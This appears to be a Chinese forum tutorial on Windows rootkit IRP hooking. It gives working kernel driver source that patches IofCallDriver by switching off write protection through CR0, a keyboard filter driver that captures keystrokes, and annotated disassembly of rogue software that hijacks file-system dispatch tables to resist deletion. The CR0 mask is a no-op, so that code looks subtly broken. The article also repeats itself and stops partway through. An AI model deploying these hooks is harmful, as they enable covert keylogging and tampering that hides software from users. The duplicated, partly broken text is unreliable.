rootkit hook 之[五] -- IRP Hook全家福
标 题: rootkit hook 之[五] -- IRP Hook全家福
作 者: combojiang
时 间: 2008-02-22,16:42
链 接: http://bbs.pediy.com/showthread.php?t=60022
年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有三种方式,一种是在起点拦截,一种是在半路拦截,一种是在终点拦截。 下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。 要理解这几种拦截,我们需要看看irp地传送过程。我们看下图的标准模型。请看大屏幕。
注意这个标准模型中,并不是每种IRP都经过这些步骤,由于设备类型和IRP种类的不同某些步骤会改变或根本不存在。
一、IRP创建。
由于IRP开始于某个实体调用I/O管理器函数创建它,可以使用下面任何一种函数创建IRP:
IoBuildAsynchronousFsdRequest 创建异步IRP(不需要等待其完成)。该函数和下一个函数仅适用于创建某些类型的IRP。
IoBuildSynchronousFsdRequest 创建同步IRP(需要等待其完成)。
IoBuildDeviceIoControlRequest 创建一个同步IRP_MJ_DEVICE_CONTROL或IRP_MJ_INTERNAL_DEVICE_CONTROL请求。
IoAllocateIrp 创建上面三个函数不支持的其它种类的IRP。
由此我们知道,第一种起点拦截的办法就清楚了,那就是HOOK这几个IRP的创建函数。
由于函数有多个,并且此时irp虽然已经创建,但是还没有进程初始化,也就是说irp堆栈
单元的内容还没有填充。因此起点拦截的办法是得不到有用信息的。这种办法无效。
二、发往派遣例程
那么irp是什么时间初始化的呢?
创建完IRP后,你可以调用IoGetNextIrpStackLocation函数获得该IRP第一个堆栈单元的指针。然后初始化这个堆栈单元。在初始化过程的最后,你需要填充MajorFunction代码。堆栈单元初始化完成后,就可以调用IoCallDriver函数把IRP发送到设备驱动程序了。IoCallDriver是一个宏,它内部实现中调用了IofCallDriver. 因此,到这里便有了第二种拦截方法,即中途拦截。
三、派遣例程的作用
1)在派遣例程中完成irp。通常我们做的过滤驱动或者一些简单的驱动,都是这么完成的,直接在派遣例程中返回。不需要经过后面的步骤,派遣函数立即完成该IRP。
例如:NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp, IO_NO_INCREMENT );
return Irp->IoStatus.Status;
}
派遣例程把该IRP传递到处于同一堆栈的下层驱动程序 。
在这种情况下,通过调用IcCallDriver可以将irp传递到其他的驱动,或者传递到下一层驱动,这时irp变成其他驱动要处理的事情,如果其他驱动的派遣例程处理了irp,就类似1)的情况了,如果没处理,继续向下传,如果中间FDO没有处理,最后传到最低层的硬件驱动上去,也就是我们所谓的PDO. 这个时候,I/O管理器就调用一次StartIo例程,硬件抽象层会通过硬件中断ISR,一个ISR最可能做的事就是调度DPC例程(推迟过程调用)。最后完成这个IRP.,回到I/O管理器。
排队该IRP以便由这个驱动程序中的其它例程来处理 。
例如:NTSTATUS DispatchXxx(...)
{
...
IoMarkIrpPending(Irp);
IoStartPacket(device, Irp, NULL, NULL);
return STATUS_PENDING;
}
如果设备正忙,IoStartPacket就把请求放到队列中。如果设备空闲,IoStartPacket将把社
备置成忙并调用StartIo例程。 接下来类似于2)中描述的那样,完成这样一个过程。
我们写驱动的时候,对感兴趣的irp,我们都会写派遣例程来进行处理。如果我们把派遣例程给替换了,便有了第三种的irp拦截。
对于第三种的拦截,有两种办法:
一种是写一个过滤驱动放在要拦截的驱动的上层,这是一种安全的办法。例如:
如果我们想拦截系统的文件操作,就必须拦截I/O管理器发向文件系统驱动程序的IRP。而拦 截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。具体方法如下:首先通过IoCreateDevice创 建自己的设备对象,然后调用IoGetDeviceObjectPointer来得到文件系统设备(Ntfs,Fastfat,Rdr或Mrxsmb, Cdfs)对象的指针,最后通过IoAttachDeviceToDeviceStack或者IoAttachDevice等函数,将自己的设备放到设备堆栈上成为一个过滤器。这是拦截IRP最常用也是最保险的方法。
还有一种就是直接替换要拦截驱动对象的派遣例程函数表。它的方法更简单且更为直接。
例如:如果我们想拦截系统的文件操作,它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。然后将驱动对象中 MajorFunction数组中的打开,关闭,清除,设置文件信息,和写入调度例程入口地址改为我们驱动中相应钩子函数的入口地址来达到拦截IRP的目的。
总结:
1) 可用办法之一:hook IofCallDriver实现irp 拦截。
2) 可用办法之二:写一个过滤驱动,挂在你要hook其irp的那个驱动之上。
3) 可用办法之三:直接修改你要hook其irp的那个驱动的MajorFunction函数表。
针对于三种可用方法,我们分别给出例子说明:
方法一例子:没必要再细写,只需要注意一点:
lkd> u IofCallDriver
nt!IofCallDriver:
804ef0f6 ff2500c85480 jmp dword ptr [nt!pIofCallDriver (8054c800)]
804ef0fc cc int 3
804ef0fd cc int 3
804ef0fe cc int 3
这里我们看到IofCallDriver的地址在开头偏移2个字节地方。看明白这个,后面代码的写法就能搞清楚。
#include "ntddk.h"
typedef NTSTATUS (FASTCALL
*pIofCallDriver)(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp);
pIofCallDriver old_piofcalldriver;
UNICODE_STRING SymbolicLinkName;
PDRIVER_OBJECT g_drvobj;
UNICODE_STRING DeviceName;
PDEVICE_OBJECT deviceObject;
ULONG oData;
#define IOCTL_DISABLE CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8101,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_ENABLE CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8100,METHOD_BUFFERED,FILE_ANY_ACCESS)
NTSTATUS FASTCALL
NewpIofCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
)
{
NTSTATUS stat;
DbgPrint("Hacked Great!");
__asm
{
mov ecx,DeviceObject
mov edx,Irp
Call old_piofcalldriver
mov stat,eax
}
return stat;
}
NTSTATUS DriverIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION pisl;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
ULONG BuffSize, DataSize;
PVOID pBuff, pData,pInout;
KIRQL OldIrql;
ULONG i;
pisl = IoGetCurrentIrpStackLocation (Irp);
BuffSize = pisl->Parameters.DeviceIoControl.OutputBufferLength;
pBuff = Irp->AssociatedIrp.SystemBuffer;
Irp->IoStatus.Information = 0;
switch(pisl->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_DISABLE:
{
DbgPrint("IOCTL_DISABLE");
ns = STATUS_SUCCESS;
}
break;
case IOCTL_ENABLE:
{
DbgPrint("IOCTL_ENABLE");
ns = STATUS_SUCCESS;
}
break;
}
Irp->IoStatus.Status = ns;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ns;
}
NTSTATUS DrivercreateClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void UnHookpIofCallDriver()
{
KIRQL oldIrql;
ULONG addr = (ULONG)IofCallDriver;
oldIrql = KeRaiseIrqlToDpcLevel();
__asm
{
mov eax,cr0
mov oData,eax
and eax,0xffffffff
mov cr0,eax
mov eax,addr
mov esi,[eax+2]
mov eax,old_piofcalldriver
mov dword ptr [esi],eax
mov eax,oData
mov cr0,eax
}
KeLowerIrql(oldIrql);
return ;
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UnHookpIofCallDriver();
IoDeleteSymbolicLink(&SymbolicLinkName);
IoDeleteDevice(deviceObject);
}
NTSTATUS DriverClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
return DrivercreateClose(DeviceObject,Irp);
}
NTSTATUS IoComplete(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void HookpIofCallDriver()
{
KIRQL oldIrql;
ULONG addr = (ULONG)IofCallDriver;
__asm
{
mov eax,addr
mov esi,[eax+2]
mov eax,[esi]
mov old_piofcalldriver,eax
}
oldIrql = KeRaiseIrqlToDpcLevel();
__asm
{
mov eax,cr0
mov oData,eax
and eax,0xffffffff
mov cr0,eax
mov eax,addr
mov esi,[eax+2]
mov dword ptr [esi],offset NewpIofCallDriver
mov eax,oData
mov cr0,eax
}
KeLowerIrql(oldIrql);
return ;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
PDRIVER_DISPATCH *ppdd;
ULONG i;
PCWSTR dDeviceName = L"\\Device\\irphook";
PCWSTR dSymbolicLinkName = L"\\DosDevices\\irphook";
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject);
if (!NT_SUCCESS(status)) return status;
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
DriverObject->DriverUnload = DriverUnload;
ppdd = DriverObject->MajorFunction;
for(i =0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
ppdd[i] = IoComplete;
ppdd [IRP_MJ_CREATE] = DrivercreateClose;
ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
g_drvobj = DriverObject;
HookpIofCallDriver();
return status;
}
方法二例子
这个例子比较长,我们只看关键代码并说明.
1。将自己挂接到"\\Device\\KeyboardClass0"设备上
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Entering Hook Routine...\n");
PDEVICE_OBJECT pKeyboardDeviceObject;
NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);
if(!NT_SUCCESS(status))
return status;
DbgPrint("Created keyboard device successfully...\n");
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set succesfully...\n");
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized...\n");
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
DbgPrint("Filter Device Attached Successfully...\n");
return STATUS_SUCCESS;
}
//我们感兴趣的irp处理。由于我们要处理的按键信息,需要等底层驱动处理完成返回后才能取回
//按键值,因此,我们设置完成例程,用于底层驱动完成irp后回调我们的例程。我们设置好完成例//程后,就把irp传到底层驱动进行处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
DbgPrint("Entering DispatchRead Routine...\n");
PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
*nextIrpStack = *currentIrpStack;
IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
numPendingIrps++;
DbgPrint("Tagged keyboard 'read' IRP... Passing IRP down the stack... \n");
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
//这是完成例程,我们在这里处理得到的按键信息。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
DbgPrint("Entering OnReadCompletion Routine...\n");
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for(int i = 0; i < numKeys; i++)
{
DbgPrint("ScanCode: %x\n", keys[i].MakeCode);
if(keys[i].Flags == KEY_BREAK)
DbgPrint("%s\n","Key Up");
if(keys[i].Flags == KEY_MAKE)
DbgPrint("%s\n","Key Down");
KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags = (char)keys[i].Flags;
DbgPrint("Adding IRP to work queue...");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
}
}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;
return pIrp->IoStatus.Status;
}
在这个demo中要注意的是,由于irp的处理函数的IRQL = DISPATCH_LEVEL,因此,我们申请内存的话,只能申请非分页内存。在这个IRQL级别,我们不能创建或者保存文件来记录按键信息。
我们只能创建一个系统线程,在系统线程中完成按键信息的保存。
后面附上DEMO.
方法三的例子,偶比较懒了,就从流氓软件逆向代码中抠出一段来贴上。有时间的话,我会再写一个demo附上。我已经给加上了详细地注释,很容易明白。
.text:000186A4 sub_186A4 proc near ; CODE XREF: sub_16FDA+19p
.text:000186A4
.text:000186A4 DestinationString= UNICODE_STRING ptr -18h
.text:000186A4 var_10 = dword ptr -10h
.text:000186A4 var_C = dword ptr -0Ch
.text:000186A4 var_8 = dword ptr -8
.text:000186A4 var_4 = dword ptr -4
.text:000186A4
.text:000186A4 push ebp
.text:000186A5 mov ebp, esp
.text:000186A7 sub esp, 18h
.text:000186AA push ebx
.text:000186AB push esi
.text:000186AC push edi
.text:000186AD push 10h
.text:000186AF pop ecx ; ecx = 10h
.text:000186B0 xor eax, eax
.text:000186B2 mov edi, offset dword_36DE0
.text:000186B7 mov esi, offset dword_36DFC
.text:000186BC rep stosd ; 清零dword_36de0至dword_36e20的空间
.text:000186BE mov [ebp+var_10], offset aFilesystemNtfs ; "\\FileSystem\\Ntfs"
.text:000186C5 mov [ebp+var_C], offset aFilesystemFast ; "\\FileSystem\\Fastfat"
.text:000186CC mov ebx, esi
.text:000186CE lea edi, [ebp+var_10]
.text:000186D1 mov [ebp+var_8], 2 ; var_8是一个循环变量
.text:000186D8
.text:000186D8 loc_186D8: ; CODE XREF: sub_186A4+72j
.text:000186D8 push dword ptr [edi] ; SourceString
.text:000186DA lea eax, [ebp+DestinationString]
.text:000186DD push eax ; DestinationString
.text:000186DE call ds:RtlInitUnicodeString ; 转换"\\FileSystem\\Ntfs"字符串为UNICODE_STRING类型
.text:000186E4 lea eax, [ebp+var_4] ; 用于存放输出的Object指针
.text:000186E7 push eax
.text:000186E8 xor eax, eax
.text:000186EA push eax
.text:000186EB push eax
.text:000186EC push ds:IoDriverObjectType
.text:000186F2 push eax
.text:000186F3 push eax
.text:000186F4 push 40h
.text:000186F6 lea eax, [ebp+DestinationString]
.text:000186F9 push eax
.text:000186FA call ds:ObReferenceObjectByName ; NTSTATUS
.text:000186FA ; ObReferenceObjectByName (
.text:000186FA ; __in PUNICODE_STRING ObjectName,
.text:000186FA ; __in ULONG Attributes,
.text:000186FA ; __in_opt PACCESS_STATE AccessState,
.text:000186FA ; __in_opt ACCESS_MASK DesiredAccess,
.text:000186FA ; __in POBJECT_TYPE ObjectType,
.text:000186FA ; __in KPROCESSOR_MODE AccessMode,
.text:000186FA ; __inout_opt PVOID ParseContext,
.text:000186FA ; __out PVOID *Object
.text:000186FA ; )
.text:000186FA ;
.text:000186FA ; /*++
.text:000186FA ;
.text:000186FA ; Routine Description:
.text:000186FA ;
.text:000186FA ; Given a name of an object this routine returns a pointer
.text:000186FA ; to the body of the object with proper ref counts
.text:000186FA ;
.text:000186FA ; Arguments:
.text:000186FA ;
.text:000186FA ; ObjectName - Supplies the name of the object being referenced
.text:000186FA ;
.text:000186FA ; Attributes - Supplies the desired handle attributes
.text:000186FA ;
.text:000186FA ; AccessState - Supplies an optional pointer to the current access
.text:000186FA ; status describing already granted access types, the privileges used
.text:000186FA ; to get them, and any access types yet to be granted.
.text:000186FA ;
.text:000186FA ; DesiredAccess - Optionally supplies the desired access to the
.text:000186FA ; for the object
.text:000186FA ;
.text:000186FA ; ObjectType - Specifies the object type according to the caller
.text:000186FA ;
.text:000186FA ;
.text:00018700 test eax, eax ; AccessMode - Supplies the processor mode of the access
.text:00018700 ;
.text:00018700 ; ParseContext - Optionally supplies a context to pass down to the
.text:00018700 ; parse routine
.text:00018700 ;
.text:00018700 ; Object - Receives a pointer to the referenced object body
.text:00018700 ;
.text:00018700 ; Return Value:
.text:00018700 ;
.text:00018700 ; An appropriate NTSTATUS value
.text:00018700 ;
.text:00018700 ; --*/
.text:00018702 jge short loc_18708 ; 成功则跳转
.text:00018704 and [ebp+var_4], 0
.text:00018708
.text:00018708 loc_18708: ; CODE XREF: sub_186A4+5Ej
.text:00018708 mov eax, [ebp+var_4] ; 分别取出"\\FileSystem\\Fastfat"和"\\FileSystem\\Ntfs"的对象指针
.text:0001870B mov [ebx], eax
.text:0001870D add edi, 4 ; edi指向var_c
.text:00018710 add ebx, 20h ; ebx指向36e10
.text:00018713 dec [ebp+var_8]
.text:00018716 jnz short loc_186D8
.text:00018718 mov edi, ds:InterlockedExchange
.text:0001871E push 2
.text:00018720 pop ebx ; ebx = 2,用作计数
.text:00018721
.text:00018721 loc_18721: ; CODE XREF: sub_186A4+DCj
.text:00018721 mov eax, [esi] ; 取前面得到的object指针
.text:00018723 test eax, eax
.text:00018725 jz short loc_1877C ; 如果取出的对象指针为空,则跳转
.text:00018727 lea ecx, [eax+38h] ; Target
.text:0001872A mov edx, offset loc_184C7 ; Value
.text:0001872F call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CREATE]
.text:00018731 mov ecx, [esi]
.text:00018733 add ecx, 40h ; Target
.text:00018736 mov edx, offset loc_1851F ; Value
.text:0001873B mov [esi-1Ch], eax ; 保存原始值
.text:0001873E call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CLOSE]
.text:00018740 mov ecx, [esi]
.text:00018742 add ecx, 50h ; Target
.text:00018745 mov edx, offset loc_18577 ; Value
.text:0001874A mov [esi-18h], eax ; 保存原始值
.text:0001874D call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_SET_INFORMATION],用于防删除
.text:0001874F mov ecx, [esi]
.text:00018751 add ecx, 48h ; Target
.text:00018754 mov edx, offset loc_185CF ; Value
.text:00018759 mov [esi-14h], eax ; 保存原始值
.text:0001875C call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_WRITE]
.text:0001875E mov [esi-10h], eax ; 保存原始值
.text:00018761 mov eax, [esi]
.text:00018763 mov eax, [eax+28h] ; FastIoDispatch
.text:00018766 test eax, eax
.text:00018768 jz short loc_1877C ; 取下一个,并计数器减一
.text:0001876A lea ecx, [eax+0Ch] ; Target
.text:0001876D cmp dword ptr [ecx], 0 ; 判断FastIoDispatch->FastIoWrite是否为空
.text:00018770 jz short loc_1877C ; 取下一个,并计数器减一
.text:00018772 mov edx, offset sub_18627 ; Value
.text:00018777 call edi ; InterlockedExchange ; 替换FastIoDispatch->FastIoWrite
.text:00018779 mov [esi-8], eax ; 保存原始值
.text:0001877C
.text:0001877C loc_1877C: ; CODE XREF: sub_186A4+81j
.text:0001877C ; sub_186A4+C4j ...
.text:0001877C add esi, 20h ; 取下一个,并计数器减一
.text:0001877F dec ebx
.text:00018780 jnz short loc_18721 ; 取前面得到的object指针
.text:00018782 pop edi
.text:00018783 pop esi
.text:00018784 pop ebx
.text:00018785 leave
.text:00018786 retn
.text:00018786 sub_186A4 endp
.text:00018786
作 者: combojiang
时 间: 2008-02-22,16:42
链 接: http://bbs.pediy.com/showthread.php?t=60022
年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有三种方式,一种是在起点拦截,一种是在半路拦截,一种是在终点拦截。 下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。 要理解这几种拦截,我们需要看看irp地传送过程。我们看下图的标准模型。请看大屏幕。
注意这个标准模型中,并不是每种IRP都经过这些步骤,由于设备类型和IRP种类的不同某些步骤会改变或根本不存在。
一、IRP创建。
由于IRP开始于某个实体调用I/O管理器函数创建它,可以使用下面任何一种函数创建IRP:
IoBuildAsynchronousFsdRequest 创建异步IRP(不需要等待其完成)。该函数和下一个函数仅适用于创建某些类型的IRP。
IoBuildSynchronousFsdRequest 创建同步IRP(需要等待其完成)。
IoBuildDeviceIoControlRequest 创建一个同步IRP_MJ_DEVICE_CONTROL或IRP_MJ_INTERNAL_DEVICE_CONTROL请求。
IoAllocateIrp 创建上面三个函数不支持的其它种类的IRP。
由此我们知道,第一种起点拦截的办法就清楚了,那就是HOOK这几个IRP的创建函数。
由于函数有多个,并且此时irp虽然已经创建,但是还没有进程初始化,也就是说irp堆栈
单元的内容还没有填充。因此起点拦截的办法是得不到有用信息的。这种办法无效。
二、发往派遣例程
那么irp是什么时间初始化的呢?
创建完IRP后,你可以调用IoGetNextIrpStackLocation函数获得该IRP第一个堆栈单元的指针。然后初始化这个堆栈单元。在初始化过程的最后,你需要填充MajorFunction代码。堆栈单元初始化完成后,就可以调用IoCallDriver函数把IRP发送到设备驱动程序了。IoCallDriver是一个宏,它内部实现中调用了IofCallDriver. 因此,到这里便有了第二种拦截方法,即中途拦截。
三、派遣例程的作用
1)在派遣例程中完成irp。通常我们做的过滤驱动或者一些简单的驱动,都是这么完成的,直接在派遣例程中返回。不需要经过后面的步骤,派遣函数立即完成该IRP。
例如:NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp, IO_NO_INCREMENT );
return Irp->IoStatus.Status;
}
派遣例程把该IRP传递到处于同一堆栈的下层驱动程序 。
在这种情况下,通过调用IcCallDriver可以将irp传递到其他的驱动,或者传递到下一层驱动,这时irp变成其他驱动要处理的事情,如果其他驱动的派遣例程处理了irp,就类似1)的情况了,如果没处理,继续向下传,如果中间FDO没有处理,最后传到最低层的硬件驱动上去,也就是我们所谓的PDO. 这个时候,I/O管理器就调用一次StartIo例程,硬件抽象层会通过硬件中断ISR,一个ISR最可能做的事就是调度DPC例程(推迟过程调用)。最后完成这个IRP.,回到I/O管理器。
排队该IRP以便由这个驱动程序中的其它例程来处理 。
例如:NTSTATUS DispatchXxx(...)
{
...
IoMarkIrpPending(Irp);
IoStartPacket(device, Irp, NULL, NULL);
return STATUS_PENDING;
}
如果设备正忙,IoStartPacket就把请求放到队列中。如果设备空闲,IoStartPacket将把社
备置成忙并调用StartIo例程。 接下来类似于2)中描述的那样,完成这样一个过程。
我们写驱动的时候,对感兴趣的irp,我们都会写派遣例程来进行处理。如果我们把派遣例程给替换了,便有了第三种的irp拦截。
对于第三种的拦截,有两种办法:
一种是写一个过滤驱动放在要拦截的驱动的上层,这是一种安全的办法。例如:
如果我们想拦截系统的文件操作,就必须拦截I/O管理器发向文件系统驱动程序的IRP。而拦 截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。具体方法如下:首先通过IoCreateDevice创 建自己的设备对象,然后调用IoGetDeviceObjectPointer来得到文件系统设备(Ntfs,Fastfat,Rdr或Mrxsmb, Cdfs)对象的指针,最后通过IoAttachDeviceToDeviceStack或者IoAttachDevice等函数,将自己的设备放到设备堆栈上成为一个过滤器。这是拦截IRP最常用也是最保险的方法。
还有一种就是直接替换要拦截驱动对象的派遣例程函数表。它的方法更简单且更为直接。
例如:如果我们想拦截系统的文件操作,它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。然后将驱动对象中 MajorFunction数组中的打开,关闭,清除,设置文件信息,和写入调度例程入口地址改为我们驱动中相应钩子函数的入口地址来达到拦截IRP的目的。
总结:
1) 可用办法之一:hook IofCallDriver实现irp 拦截。
2) 可用办法之二:写一个过滤驱动,挂在你要hook其irp的那个驱动之上。
3) 可用办法之三:直接修改你要hook其irp的那个驱动的MajorFunction函数表。
针对于三种可用方法,我们分别给出例子说明:
方法一例子:没必要再细写,只需要注意一点:
lkd> u IofCallDriver
nt!IofCallDriver:
804ef0f6 ff2500c85480 jmp dword ptr [nt!pIofCallDriver (8054c800)]
804ef0fc cc int 3
804ef0fd cc int 3
804ef0fe cc int 3
这里我们看到IofCallDriver的地址在开头偏移2个字节地方。看明白这个,后面代码的写法就能搞清楚。
#include "ntddk.h"
typedef NTSTATUS (FASTCALL
*pIofCallDriver)(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp);
pIofCallDriver old_piofcalldriver;
UNICODE_STRING SymbolicLinkName;
PDRIVER_OBJECT g_drvobj;
UNICODE_STRING DeviceName;
PDEVICE_OBJECT deviceObject;
ULONG oData;
#define IOCTL_DISABLE CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8101,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_ENABLE CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8100,METHOD_BUFFERED,FILE_ANY_ACCESS)
NTSTATUS FASTCALL
NewpIofCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
)
{
NTSTATUS stat;
DbgPrint("Hacked Great!");
__asm
{
mov ecx,DeviceObject
mov edx,Irp
Call old_piofcalldriver
mov stat,eax
}
return stat;
}
NTSTATUS DriverIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION pisl;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
ULONG BuffSize, DataSize;
PVOID pBuff, pData,pInout;
KIRQL OldIrql;
ULONG i;
pisl = IoGetCurrentIrpStackLocation (Irp);
BuffSize = pisl->Parameters.DeviceIoControl.OutputBufferLength;
pBuff = Irp->AssociatedIrp.SystemBuffer;
Irp->IoStatus.Information = 0;
switch(pisl->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_DISABLE:
{
DbgPrint("IOCTL_DISABLE");
ns = STATUS_SUCCESS;
}
break;
case IOCTL_ENABLE:
{
DbgPrint("IOCTL_ENABLE");
ns = STATUS_SUCCESS;
}
break;
}
Irp->IoStatus.Status = ns;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ns;
}
NTSTATUS DrivercreateClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void UnHookpIofCallDriver()
{
KIRQL oldIrql;
ULONG addr = (ULONG)IofCallDriver;
oldIrql = KeRaiseIrqlToDpcLevel();
__asm
{
mov eax,cr0
mov oData,eax
and eax,0xffffffff
mov cr0,eax
mov eax,addr
mov esi,[eax+2]
mov eax,old_piofcalldriver
mov dword ptr [esi],eax
mov eax,oData
mov cr0,eax
}
KeLowerIrql(oldIrql);
return ;
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UnHookpIofCallDriver();
IoDeleteSymbolicLink(&SymbolicLinkName);
IoDeleteDevice(deviceObject);
}
NTSTATUS DriverClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
return DrivercreateClose(DeviceObject,Irp);
}
NTSTATUS IoComplete(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void HookpIofCallDriver()
{
KIRQL oldIrql;
ULONG addr = (ULONG)IofCallDriver;
__asm
{
mov eax,addr
mov esi,[eax+2]
mov eax,[esi]
mov old_piofcalldriver,eax
}
oldIrql = KeRaiseIrqlToDpcLevel();
__asm
{
mov eax,cr0
mov oData,eax
and eax,0xffffffff
mov cr0,eax
mov eax,addr
mov esi,[eax+2]
mov dword ptr [esi],offset NewpIofCallDriver
mov eax,oData
mov cr0,eax
}
KeLowerIrql(oldIrql);
return ;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
PDRIVER_DISPATCH *ppdd;
ULONG i;
PCWSTR dDeviceName = L"\\Device\\irphook";
PCWSTR dSymbolicLinkName = L"\\DosDevices\\irphook";
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject);
if (!NT_SUCCESS(status)) return status;
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
DriverObject->DriverUnload = DriverUnload;
ppdd = DriverObject->MajorFunction;
for(i =0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
ppdd[i] = IoComplete;
ppdd [IRP_MJ_CREATE] = DrivercreateClose;
